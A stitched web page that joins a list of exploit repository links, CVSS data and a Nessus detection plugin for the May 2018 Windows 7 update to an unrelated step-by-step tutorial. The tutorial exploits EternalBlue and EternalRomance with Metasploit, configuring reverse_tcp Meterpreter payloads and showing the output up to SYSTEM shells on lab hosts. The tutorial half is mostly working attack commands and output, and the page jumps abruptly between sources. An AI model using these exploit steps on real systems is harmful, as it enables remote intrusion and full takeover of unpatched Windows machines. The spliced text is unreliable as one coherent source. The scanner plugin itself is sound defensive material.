    [CVE-2018-8174]
  90. GitHub: https://github.com/qazbnm456/awesome-cve-poc/blob/master/CVE-2018-8174.md
    [CVE-2018-8174]
  91. GitHub: https://github.com/sinisterghost/https-github.com-iBearcat-CVE-2018-8174_EXP
    [CVE-2018-8174]
  92. GitHub: https://github.com/slimdaddy/RedTeam
    [CVE-2018-8174]
  93. GitHub: https://github.com/sumas/APT_CyberCriminal_Campagin_Collections
    [CVE-2018-8174]
  94. GitHub: https://github.com/w16692926717/CVE-2018-8174_EXP
    [CVE-2018-8174]
  95. GitHub: https://github.com/washgo/HackTool
    [CVE-2018-8174]
  96. GitHub: https://github.com/wateroot/poc-exp
    [CVE-2018-8174]
  97. GitHub: https://github.com/wrlu/Vulnerabilities
    [CVE-2018-8174]
  98. GitHub: https://github.com/www201001/https-github.com-iBearcat-CVE-2018-8174_EXP
    [CVE-2018-8174]
  99. GitHub: https://github.com/www201001/https-github.com-iBearcat-CVE-2018-8174_EXP.git-
    [CVE-2018-8174]
  100. GitHub: https://github.com/xiaoZ-hc/redtool
    [CVE-2018-8174]
  101. GitHub: https://github.com/Apri1y/Red-Team-links
    [CVE-2018-8897]
  102. GitHub: https://github.com/CrackerCat/Kernel-Security-Development
    [CVE-2018-8897]
  103. GitHub: https://github.com/Echocipher/Resource-list
    [CVE-2018-8897]
  104. GitHub: https://github.com/ExpLife0011/awesome-windows-kernel-security-development
    [CVE-2018-8897]
  105. GitHub: https://github.com/Ondrik8/exploit
    [CVE-2018-8897]
  106. GitHub: https://github.com/hudunkey/Red-Team-links
    [CVE-2018-8897]
  107. GitHub: https://github.com/john-80/-007
    [CVE-2018-8897]
  108. GitHub: https://github.com/lp008/Hack-readme
    [CVE-2018-8897]
  109. GitHub: https://github.com/pr0code/https-github.com-ExpLife0011-awesome-windows-kernel-security-development
    [CVE-2018-8897]
  110. GitHub: https://github.com/pravinsrc/NOTES-windows-kernel-links
    [CVE-2018-8897]
  111. GitHub: https://github.com/slimdaddy/RedTeam
    [CVE-2018-8897]
  112. GitHub: https://github.com/whiteHat001/Kernel-Security
    [CVE-2018-8897]
  113. GitHub: https://github.com/xiaoZ-hc/redtool
    [CVE-2018-8897]
  114. GitHub: https://www.triplefault.io/2018/05/spurious-db-exceptions-with-pop-ss.html
    [CVE-2018-8897]
  115. GitHub: https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/44697.zip
    [EDB-44697]
  116. GitHub: https://github.com/offensive-security/exploitdb-bin-sploits/blob/master/bin-sploits/44906.zip
    [EDB-44906]
  117. GitHub: https://github.com/codewhitesec/UnmarshalPwn
    [CVE-2018-0824: POC for CVE-2018-0824]
  118. GitHub: https://github.com/alpha1ab/CVE-2018-8120
    [CVE-2018-8120: CVE-2018-8120 Exploit for Win2003 Win2008 WinXP Win7]
  119. GitHub: https://github.com/areuu/CVE-2018-8120
    [CVE-2018-8120: CVE-2018-8120 POC]
  120. GitHub: https://github.com/ozkanbilge/CVE-2018-8120
    [CVE-2018-8120: CVE-2018-8120 Windows LPE exploit]
  121. GitHub: https://github.com/unamer/CVE-2018-8120
    [CVE-2018-8120: CVE-2018-8120 Windows LPE exploit]
  122. GitHub: https://github.com/0x09AL/CVE-2018-8174-msf
    [CVE-2018-8174: CVE-2018-8174 — VBScript memory corruption exploit.]
  123. GitHub: https://github.com/orf53975/Rig-Exploit-for-CVE-2018-8174
    [CVE-2018-8174: Rig Exploit for CVE-2018-8174 As with its previous campaigns, Rig’s Seamless …]
  124. GitHub: https://github.com/piotrflorczyk/cve-2018-8174_analysis
    [CVE-2018-8174: Analysis of VBS exploit CVE-2018-8174]
  125. GitHub: https://github.com/ruthlezs/ie11_vbscript_exploit
    [CVE-2018-8174: Exploit Generator for CVE-2018-8174 & CVE-2019-0768 (RCE via VBScript Execution in …]
  126. GitHub: https://github.com/SyFi/CVE-2018-8174
    [CVE-2018-8174: MS Word MS WordPad via IE VBS Engine RCE]
  127. GitHub: https://github.com/Yt1g3r/CVE-2018-8174_EXP
    [CVE-2018-8174: CVE-2018-8174_python]
  128. GitHub: https://github.com/can1357/CVE-2018-8897
    [CVE-2018-8897: Arbitrary code execution with kernel privileges using CVE-2018-8897.]
  129. GitHub: https://github.com/jiazhang0/pop-mov-ss-exploit
    [CVE-2018-8897: The exploitation for CVE-2018-8897]
  130. GitHub: https://github.com/nmulasmajic/CVE-2018-8897
    [CVE-2018-8897: Implements the POP/MOV SS (CVE-2018-8897) vulnerability by bugchecking the machine …]
  131. GitHub: https://github.com/nmulasmajic/syscall_exploit_CVE-2018-8897
    [CVE-2018-8897: Implements the POP/MOV SS (CVE-2018-8897) vulnerability by leveraging SYSCALL to …]
  132. GitHub: https://github.com/EVOL4/CVE-2018-8120
    [CVE-2018-8120: Dd]
  133. Immunity Canvas: CANVAS

Before running any exploit against any system, make sure you are authorized by the owner of the target system(s) to perform such activity. In any other case, this would be considered as an illegal activity.

WARNING: Beware of using unverified exploits from sources such as GitHub or Exploit-DB. These exploits and PoCs could contain malware. For more information, see how to use exploits safely.

Risk Information


CVSS Score Source [?]: CVE-2018-8136

CVSS V2 Vector: AV:N/AC:M/Au:N/C:C/I:C/A:C/E:H/RL:OF/RC:C

CVSS Base Score: 9.3 (High)
Impact Subscore: 10.0
Exploitability Subscore: 8.6
CVSS Temporal Score: 8.1 (High)
CVSS Environmental Score: NA (None)
Modified Impact Subscore: NA
Overall CVSS Score: 8.1 (High)

CVSS V3 Vector: CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H/E:H/RL:O/RC:C

CVSS Base Score: 7.8 (High)
Impact Subscore: 5.9
Exploitability Subscore: 1.8
CVSS Temporal Score: 7.5 (High)
CVSS Environmental Score: NA (None)
Modified Impact Subscore: NA
Overall CVSS Score: 7.5 (High)

Go back to menu.

Plugin Source


This is the smb_nt_ms18_may_4103718.nasl nessus plugin source code. This script is Copyright (C) 2018-2022 and is owned by Tenable, Inc. or an Affiliate thereof.

#%NASL_MIN_LEVEL 70300
#
# (C) Tenable Network Security, Inc.
#
# The descriptive text and package checks in this plugin were  
# extracted from the Microsoft Security Updates API. The text
# itself is copyright (C) Microsoft Corporation.
#

include('deprecated_nasl_level.inc');
include('compat.inc');

if (description)
{
  script_id(109604);
  script_version("1.12");
  script_set_attribute(attribute:"plugin_modification_date", value:"2022/03/28");

  script_cve_id(
    "CVE-2018-0765",
    "CVE-2018-0824",
    "CVE-2018-0954",
    "CVE-2018-0955",
    "CVE-2018-0959",
    "CVE-2018-1022",
    "CVE-2018-1025",
    "CVE-2018-1039",
    "CVE-2018-8114",
    "CVE-2018-8120",
    "CVE-2018-8122",
    "CVE-2018-8124",
    "CVE-2018-8127",
    "CVE-2018-8136",
    "CVE-2018-8145",
    "CVE-2018-8164",
    "CVE-2018-8166",
    "CVE-2018-8167",
    "CVE-2018-8174",
    "CVE-2018-8178",
    "CVE-2018-8897"
  );
  script_xref(name:"MSKB", value:"4103718");
  script_xref(name:"MSKB", value:"4103712");
  script_xref(name:"MSFT", value:"MS18-4103718");
  script_xref(name:"MSFT", value:"MS18-4103712");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/08/15");
  script_xref(name:"CISA-KNOWN-EXPLOITED", value:"2022/04/05");

  script_name(english:"KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update");

  script_set_attribute(attribute:"synopsis", value:
"The remote Windows host is affected by multiple vulnerabilities.");
  script_set_attribute(attribute:"description", value:
"The remote Windows host is missing security update 4103712
or cumulative update 4103718. It is, therefore, affected by
multiple vulnerabilities :

  - An elevation of privilege vulnerability exists when the
    Windows kernel fails to properly handle objects in
    memory. An attacker who successfully exploited this
    vulnerability could run arbitrary code in kernel mode.
    An attacker could then install programs; view, change,
    or delete data; or create new accounts with full user
    rights.  (CVE-2018-8897)

  - A remote code execution vulnerability exists in the way
    that Microsoft browsers access objects in memory. The
    vulnerability could corrupt memory in a way that could
    allow an attacker to execute arbitrary code in the
    context of the current user. An attacker who
    successfully exploited the vulnerability could gain the
    same user rights as the current user.  (CVE-2018-8178)

  - An elevation of privilege vulnerability exists in
    Windows when the Win32k component fails to properly
    handle objects in memory. An attacker who successfully
    exploited this vulnerability could run arbitrary code in
    kernel mode. An attacker could then install programs;
    view, change, or delete data; or create new accounts
    with full user rights.  (CVE-2018-8120, CVE-2018-8124,
    CVE-2018-8164, CVE-2018-8166)

  - A remote code execution vulnerability exists in the way
    the scripting engine handles objects in memory in
    Microsoft browsers. The vulnerability could corrupt
    memory in such a way that an attacker could execute
    arbitrary code in the context of the current user. An
    attacker who successfully exploited the vulnerability
    could gain the same user rights as the current user.
    (CVE-2018-0954, CVE-2018-1022)

  - A security feature bypass vulnerability exists in .Net
    Framework which could allow an attacker to bypass Device
    Guard. An attacker who successfully exploited this
    vulnerability could circumvent a User Mode Code
    Integrity (UMCI) policy on the machine.  (CVE-2018-1039)

  - An information disclosure vulnerability exists when
    Chakra improperly discloses the contents of its memory,
    which could provide an attacker with information to
    further compromise the users computer or data.
    (CVE-2018-8145)

  - A remote code execution vulnerability exists in the way
    that Windows handles objects in memory. An attacker who
    successfully exploited the vulnerability could execute
    arbitrary code with elevated permissions on a target
    system.  (CVE-2018-8136)

  - An information disclosure vulnerability exists when the
    Windows kernel improperly handles objects in memory. An
    attacker who successfully exploited this vulnerability
    could obtain information to further compromise the users
    system.  (CVE-2018-8127)

  - An elevation of privilege vulnerability exists when the
    Windows Common Log File System (CLFS) driver improperly
    handles objects in memory. An attacker who successfully
    exploited this vulnerability could run processes in an
    elevated context.  (CVE-2018-8167)

  - A remote code execution vulnerability exists when
    Windows Hyper-V on a host server fails to properly
    validate input from an authenticated user on a guest
    operating system.  (CVE-2018-0959)

  - An information disclosure vulnerability exists when
    affected Microsoft browsers improperly handle objects in
    memory. An attacker who successfully exploited this
    vulnerability could obtain information to further
    compromise the users system.  (CVE-2018-1025)

  - A remote code execution vulnerability exists in
    Microsoft COM for Windows when it fails to
    properly handle serialized objects. An attacker who
    successfully exploited the vulnerability could use a
    specially crafted file or script to perform actions. In
    an email attack scenario, an attacker could exploit the
    vulnerability by sending the specially crafted file to
    the user and convincing the user to open the file.
    (CVE-2018-0824)

  - A remote code execution vulnerability exists in the way
    that the scripting engine handles objects in memory in
    Internet Explorer. The vulnerability could corrupt
    memory in such a way that an attacker could execute
    arbitrary code in the context of the current user. An
    attacker who successfully exploited the vulnerability
    could gain the same user rights as the current user.
    (CVE-2018-0955, CVE-2018-8114, CVE-2018-8122)

  - A remote code execution vulnerability exists in the way
    that the VBScript engine handles objects in memory. The
    vulnerability could corrupt memory in such a way that an
    attacker could execute arbitrary code in the context of
    the current user. An attacker who successfully exploited
    the vulnerability could gain the same user rights as the
    current user.  (CVE-2018-8174)

  - A denial of service vulnerability exists when .NET and
    .NET Core improperly process XML documents. An attacker
    who successfully exploited this vulnerability could
    cause a denial of service against a .NET application. A
    remote unauthenticated attacker could exploit this
    vulnerability by issuing specially crafted requests to a
    .NET (or .NET core) application. The update addresses
    the vulnerability by correcting how .NET and .NET Core
    applications handle XML document processing.
    (CVE-2018-0765)");
  # https://support.microsoft.com/en-us/help/4103718/windows-7-update-kb4103718
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?9cd8d3d4");
  # https://support.microsoft.com/en-us/help/4103712/windows-7-update-kb4103712
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?0cbb798a");
  script_set_attribute(attribute:"solution", value:
"Apply Security Only update KB4103712 or Cumulative Update KB4103718.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:H/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:H/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2018-8136");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploit_framework_core", value:"true");
  script_set_attribute(attribute:"exploited_by_malware", value:"true");
  script_set_attribute(attribute:"metasploit_name", value:'Microsoft Windows POP/MOV SS Local Privilege Elevation Vulnerability');
  script_set_attribute(attribute:"exploit_framework_metasploit", value:"true");
  script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
  script_set_attribute(attribute:"canvas_package", value:"CANVAS");

  script_set_attribute(attribute:"vuln_publication_date", value:"2018/05/08");
  script_set_attribute(attribute:"patch_publication_date", value:"2018/05/08");
  script_set_attribute(attribute:"plugin_publication_date", value:"2018/05/08");

  script_set_attribute(attribute:"plugin_type", value:"local");
  script_set_attribute(attribute:"cpe", value:"cpe:/o:microsoft:windows");
  script_end_attributes();

  script_category(ACT_GATHER_INFO);
  script_family(english:"Windows : Microsoft Bulletins");

  script_copyright(english:"This script is Copyright (C) 2018-2022 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("smb_check_rollup.nasl", "smb_hotfixes.nasl", "ms_bulletin_checks_possible.nasl");
  script_require_keys("SMB/MS_Bulletin_Checks/Possible");
  script_require_ports(139, 445, "Host/patch_management_checks");

  exit(0);
}

include("audit.inc");
include("smb_hotfixes_fcheck.inc");
include("smb_hotfixes.inc");
include("smb_func.inc");
include("misc_func.inc");

get_kb_item_or_exit("SMB/MS_Bulletin_Checks/Possible");

bulletin = "MS18-05";
kbs = make_list('4103718', '4103712');

if (get_kb_item("Host/patch_management_checks")) hotfix_check_3rd_party(bulletin:bulletin, kbs:kbs, severity:SECURITY_HOLE);

get_kb_item_or_exit("SMB/Registry/Enumerated");
get_kb_item_or_exit("SMB/WindowsVersion", exit_code:1);

if (hotfix_check_sp_range(win7:'1') <= 0) audit(AUDIT_OS_SP_NOT_VULN);

share = hotfix_get_systemdrive(as_share:TRUE, exit_on_fail:TRUE);
if (!is_accessible_share(share:share)) audit(AUDIT_SHARE_FAIL, share);

if (
  smb_check_rollup(os:"6.1",
                   sp:1,
                   rollup_date:"05_2018",
                   bulletin:bulletin,
                   rollup_kb_list:[4103718, 4103712])
)
{
  replace_kb_item(name:'SMB/Missing/'+bulletin, value:TRUE);
  hotfix_security_hole();
  hotfix_check_fversion_end();
  exit(0);
}
else
{
  hotfix_check_fversion_end();
  audit(AUDIT_HOST_NOT, hotfix_get_audit_report());
}

The latest version of this script can be found in these locations depending on your platform:

  • Linux / Unix:
    /opt/nessus/lib/nessus/plugins/smb_nt_ms18_may_4103718.nasl
  • Windows:
    C:ProgramDataTenableNessusnessuspluginssmb_nt_ms18_may_4103718.nasl
  • Mac OS X:
    /Library/Nessus/run/lib/nessus/plugins/smb_nt_ms18_may_4103718.nasl

Go back to menu.

How to Run


Here is how to run the KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update as a standalone plugin via the Nessus web user interface (https://localhost:8834/):

  1. Click to start a New Scan.
  2. Select Advanced Scan.
  3. Navigate to the Plugins tab.
  4. On the top right corner click to Disable All plugins.
  5. On the left side table select Windows : Microsoft Bulletins plugin family.
  6. On the right side table select KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update plugin ID 109604.
  7. Specify the target on the Settings tab and click to Save the scan.
  8. Run the scan.

Here are a few examples of how to run the plugin in the command line. Note that the examples below demonstrate the usage on the Linux / Unix platform.

Basic usage:

/opt/nessus/bin/nasl smb_nt_ms18_may_4103718.nasl -t <IP/HOST>

Run the plugin with audit trail message on the console:

/opt/nessus/bin/nasl -a smb_nt_ms18_may_4103718.nasl -t <IP/HOST>

Run the plugin with trace script execution written to the console (useful for debugging):

/opt/nessus/bin/nasl -T - smb_nt_ms18_may_4103718.nasl -t <IP/HOST>

Run the plugin with using a state file for the target and updating it (useful for running multiple plugins on the target):

/opt/nessus/bin/nasl -K /tmp/state smb_nt_ms18_may_4103718.nasl -t <IP/HOST>

Go back to menu.

References


MSKB | Microsoft Knowledge Base:

  • 4103712, 4103718

MSFT | Microsoft Security Bulletin:

  • MS18-4103712, MS18-4103718

See also:

  • https://www.tenable.com/plugins/nessus/109604
  • http://www.nessus.org/u?0cbb798a
  • http://www.nessus.org/u?9cd8d3d4
  • https://vulners.com/nessus/SMB_NT_MS18_MAY_4103718.NASL

Similar and related Nessus plugins:

  • 109603 — KB4103716: Windows 10 May 2018 Security Update
  • 109605 — KB4103721: Windows 10 Version 1803 and Windows Server Version 1803 May 2018 Security Update
  • 109606 — KB4103723: Windows 10 Version 1607 and Windows Server 2016 May 2018 Security Update
  • 109607 — KB4103715: Windows 8.1 and Windows Server 2012 R2 May 2018 Security Update
  • 109608 — KB4103727: Windows 10 Version 1709 and Windows Server Version 1709 May 2018 Security Update
  • 109610 — KB4103726: Windows Server 2012 May 2018 Security Update
  • 109611 — KB4103731: Windows 10 Version 1703 May 2018 Security Update
  • 109613 — Security Updates for Internet Explorer (May 2018)
  • 109619 — EulerOS 2.0 SP1 : kernel (EulerOS-SA-2018-1119)
  • 109620 — EulerOS 2.0 SP2 : kernel (EulerOS-SA-2018-1120)
  • 109625 — FreeBSD : FreeBSD — Mishandling of x86 debug exceptions (521ce804-52fd-11e8-9123-a4badb2f4699)
  • 109629 — Oracle Linux 6 : kernel (ELSA-2018-1319)
  • 109630 — Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2018-4096)
  • 109631 — Oracle Linux 6 : Unbreakable Enterprise kernel (ELSA-2018-4097)
  • 109632 — Oracle Linux 6 / 7 : Unbreakable Enterprise kernel (ELSA-2018-4098)
  • 109633 — RHEL 7 : kernel (RHSA-2018:1318)
  • 109634 — RHEL 6 : kernel (RHSA-2018:1319) (Meltdown)
  • 109635 — RHEL 7 : kernel (RHSA-2018:1345)

Version


This page has been produced using Nessus Professional 10.1.2 (#68) LINUX, Plugin set 202205072148.
Plugin file smb_nt_ms18_may_4103718.nasl version 1.12. For more plugins, visit the Nessus Plugin Library.

Go back to menu.

Particular vulnerabilities and exploits come along and make headlines with their catchy names and impressive potential for damage. EternalBlue is one of those exploits. Originally tied to the NSA, this zero-day exploited a flaw in the SMB protocol, affecting many Windows machines and wreaking havoc everywhere. Here, we will use EternalBlue to exploit SMB via Metasploit.

What Is EternalBlue?

EternalBlue is an exploit most likely developed by the NSA as a former zero-day. It was released in 2017 by the Shadow Brokers, a hacker group known for leaking tools and exploits used by the Equation Group, which has possible ties to the Tailored Access Operations unit of the NSA.

EternalBlue, also known as MS17-010, is a vulnerability in Microsoft’s Server Message Block (SMB) protocol. SMB allows systems to share access to files, printers, and other resources on the network. The vulnerability is allowed to occur because earlier versions of SMB contain a flaw that lets an attacker establish a null session connection via anonymous login. An attacker can then send malformed packets and ultimately execute arbitrary commands on the target.

  • Don’t Miss: How to Discover Computers Vulnerable to EternalBlue

EternalBlue was mostly responsible for the WannaCry, NotPetya, and BadRabbit ransomware outbreaks, as well as the EternalRocks worm.

Option 1: Exploit EternalBlue with Metasploit

We’ll be using an unpatched copy of Windows Server 2008 R2 as the target for the first section of this tutorial. An evaluation copy can be downloaded from Microsoft so that you can better follow along.

Step 1: Find a Module to Use

The first thing we need to do is open up the terminal and start Metasploit. Type service postgresql start to initialize the PostgreSQL database, if it is not running already, followed by msfconsole.

service postgresql start
msfconsole

Next, use the search command within Metasploit to locate a suitable module to use.

search eternalblue
Matching Modules
================

   Name                                           Disclosure Date  Rank     Check  Description
   ----                                           ---------------  ----     -----  -----------
   auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

There is an auxiliary scanner that we can run to determine if a target is vulnerable to MS17-010. It’s always a good idea to perform the necessary recon like this. Otherwise, you could end up wasting a lot of time if the target isn’t even vulnerable.

Once we have determined that our target is indeed vulnerable to EternalBlue, we can use the following exploit module from the search we just did.

use exploit/windows/smb/ms17_010_eternalblue

You’ll know you’re good if you see the «exploit(windows/smb/ms17_010_eternalblue)» prompt.

Step 2: Run the Module

We can take a look at the current settings with the options command.

options
Module options (exploit/windows/smb/ms17_010_eternalblue):

   Name           Current Setting  Required  Description
   ----           ---------------  --------  -----------
   RHOSTS                          yes       The target address range or CIDR identifier
   RPORT          445              yes       The target port (TCP)
   SMBDomain      .                no        (Optional) The Windows domain to use for authentication
   SMBPass                         no        (Optional) The password for the specified username
   SMBUser                         no        (Optional) The username to authenticate as
   VERIFY_ARCH    true             yes       Check if remote architecture matches exploit Target.
   VERIFY_TARGET  true             yes       Check if remote OS matches exploit Target.

Exploit target:

   Id  Name
   --  ----
   0   Windows 7 and Server 2008 R2 (x64) All Service Packs

First, we need to specify the IP address of the target.

set rhosts 10.10.0.101
rhosts => 10.10.0.101

Next, we can load the trusty reverse_tcp shell as the payload.

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

Finally, set the listening host to the IP address of our local machine.

set lhost 10.10.0.1
lhost => 10.10.0.1

And the listening port to a suitable number.

set lport 4321
lport => 4321

That should be everything, so the only thing left to do is launch the exploit. Use the run command to fire it off.

run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.101:445 - Connecting to target for exploitation.
[+] 10.10.0.101:445 - Connection established for exploitation.
[+] 10.10.0.101:445 - Target OS selected valid for OS indicated by SMB reply
[*] 10.10.0.101:445 - CORE raw buffer dump (51 bytes)
[*] 10.10.0.101:445 - 0x00000000  57 69 6e 64 6f 77 73 20 53 65 72 76 65 72 20 32  Windows Server 2
[*] 10.10.0.101:445 - 0x00000010  30 30 38 20 52 32 20 53 74 61 6e 64 61 72 64 20  008 R2 Standard
[*] 10.10.0.101:445 - 0x00000020  37 36 30 31 20 53 65 72 76 69 63 65 20 50 61 63  7601 Service Pac
[*] 10.10.0.101:445 - 0x00000030  6b 20 31                                         k 1
[+] 10.10.0.101:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.0.101:445 - Trying exploit with 12 Groom Allocations.
[*] 10.10.0.101:445 - Sending all but last fragment of exploit packet
[*] 10.10.0.101:445 - Starting non-paged pool grooming
[+] 10.10.0.101:445 - Sending SMBv2 buffers
[+] 10.10.0.101:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.0.101:445 - Sending final SMBv2 buffers.
[*] 10.10.0.101:445 - Sending last fragment of exploit packet!
[*] 10.10.0.101:445 - Receiving response from exploit packet
[+] 10.10.0.101:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.0.101:445 - Sending egg to corrupted connection.
[*] 10.10.0.101:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 10.10.0.101
[*] Meterpreter session 1 opened (10.10.0.1:4321 -> 10.10.0.101:49207) at 2019-03-26 11:01:46 -0500
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.0.101:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

We see a few things happen here, like the SMB connection being established and the exploit packet being sent. At last, we see a «WIN» and a Meterpreter session is opened. Sometimes, this exploit will not complete successfully the first time, so if it doesn’t just try again and it should go through.

Step 3: Verify the Target Is Compromised

We can verify we have compromised the target by running commands such as sysinfo to obtain operating system information.

sysinfo
Computer        : S02
OS              : Windows 2008 R2 (Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : DLAB
Logged On Users : 2
Meterpreter     : x64/windows

And getuid to get the current username.

getuid
Server username: NT AUTHORITYSYSTEM

This exploit doesn’t work very well on newer systems, and in some cases, it can crash the target machine. Next, we will explore a similar exploit that is a little more reliable, but just as deadly.

Option 2: EternalRomance / EternalSynergy / EternalChampion

As if EternalBlue wasn’t devastating enough, three more similar exploits were developed after it. EternalRomance and EternalSynergy exploit a type of confusion (CVE-2017-0143), while EternalChampion and EternalSynergy exploit a race condition (CVE-2017-0146).

These were combined into a single Metasploit module that also uses the classic psexec payload. It’s considered more reliable than EternalBlue, less likely to crash the target, and works on all recent unpatched versions of Windows, up to Server 2016 and Windows 10.

  • Don’t Miss: How to Discover Computers Vulnerable to EternalRomance

The only caveat is this exploit requires a named pipe. Named pipes provide a method for running processes to communicate with one another, usually appearing as a file for other processes to attach to. The Metasploit module automatically checks for named pipes, making it pretty straightforward to use as long as a named pipe is present on the target.

Step 1: Find a Vulnerable Target

We can use Nmap as an alternative to the Metasploit scanner to discover if a target is vulnerable to EternalBlue. The Nmap Scripting Engine is a powerful feature of the core tool that allows all kinds of scripts to run against a target.

Here, we’ll be using the smb-vuln-ms17-010 script to check for the vulnerability. Our target will be an unpatched copy of Windows Server 2016 Datacenter edition. Evaluation copies can be downloaded from Microsoft so you can follow along if you want.

We can specify a single script to run with the —script option, along with the -v flag for verbosity and our target’s IP address. First, change directories in case you’re still running Metasploit.

cd
nmap --script smb-vuln-ms17-010 -v 10.10.0.100

Nmap will start running and shouldn’t take too long since we are only running one script. At the bottom of the output, we’ll find the results.

Starting Nmap 7.70 ( https://nmap.org ) at 2019-03-26 11:05 CDT
NSE: Loaded 1 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:05

...

Host script results:
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_      https://technet.microsoft.com/en-us/library/security/ms17-010.aspx

NSE: Script Post-scanning.
Initiating NSE at 11:05
Completed NSE at 11:05, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 2.31 seconds
           Raw packets sent: 1181 (51.948KB) | Rcvd: 1001 (40.060KB)

We can see it lists the target as vulnerable, along with additional information like risk factors and links to the CVE.

Step 2: Find a Module to Use

Now that we know the target is vulnerable, we can go back to Metasploit and search for an appropriate exploit.

msfconsole
search eternalromance
Matching Modules
================

   Name                                  Disclosure Date  Rank    Check  Description
   ----                                  ---------------  ----    -----  -----------
   auxiliary/admin/smb/ms17_010_command  2017-03-14       normal  Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   exploit/windows/smb/ms17_010_psexec   2017-03-14       normal  No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution

And load the module in Metasploit with the use command.

use exploit/windows/smb/ms17_010_psexec

You’ll know you’re good if you see the «exploit(windows/smb/ms17_010_psexec)» prompt.

Step 3: Run the Module

Let’s take a look at our options:

options
Module options (exploit/windows/smb/ms17_010_psexec):

   Name                  Current Setting                                                 Required  Description
   ----                  ---------------                                                 --------  -----------
   DBGTRACE              false                                                           yes       Show extra debug trace info
   LEAKATTEMPTS          99                                                              yes       How many times to try to leak transaction
   NAMEDPIPE                                                                             no        A named pipe that can be connected to (leave blank for auto)
   NAMED_PIPES           /usr/share/metasploit-framework/data/wordlists/named_pipes.txt  yes       List of named pipes to check
   RHOSTS                                                                                yes       The target address range or CIDR identifier
   RPORT                 445                                                             yes       The Target port
   SERVICE_DESCRIPTION                                                                   no        Service description to to be used on target for pretty listing
   SERVICE_DISPLAY_NAME                                                                  no        The service display name
   SERVICE_NAME                                                                          no        The service name
   SHARE                 ADMIN$                                                          yes       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
   SMBDomain             .                                                               no        The Windows domain to use for authentication
   SMBPass                                                                               no        The password for the specified username
   SMBUser                                                                               no        The username to authenticate as

Exploit target:

   Id  Name
   --  ----
   0   Automatic

It looks like this exploit uses a list of named pipes to check and connects to a share. We can leave all this as default for now, but we need to set the remote host.

set rhosts 10.10.0.100
rhosts => 10.10.0.100

And the reverse shell payload.

set payload windows/x64/meterpreter/reverse_tcp
payload => windows/x64/meterpreter/reverse_tcp

And our local host.

set lhost 10.10.0.1
lhost => 10.10.0.1

And local port.

set lport 4321
lport => 4321

We should be good to go now. Type run to launch the exploit.

run
[*] Started reverse TCP handler on 10.10.0.1:4321
[*] 10.10.0.100:445 - Target OS: Windows Server 2016 Standard Evaluation 14393
[*] 10.10.0.100:445 - Built a write-what-where primitive...
[+] 10.10.0.100:445 - Overwrite complete... SYSTEM session obtained!
[*] 10.10.0.100:445 - Selecting PowerShell target
[*] 10.10.0.100:445 - Executing the payload...
[+] 10.10.0.100:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (206403 bytes) to 10.10.0.100
[*] Meterpreter session 2 opened (10.10.0.1:4321 -> 10.10.0.100:49965) at 2019-03-26 11:12:30 -0500

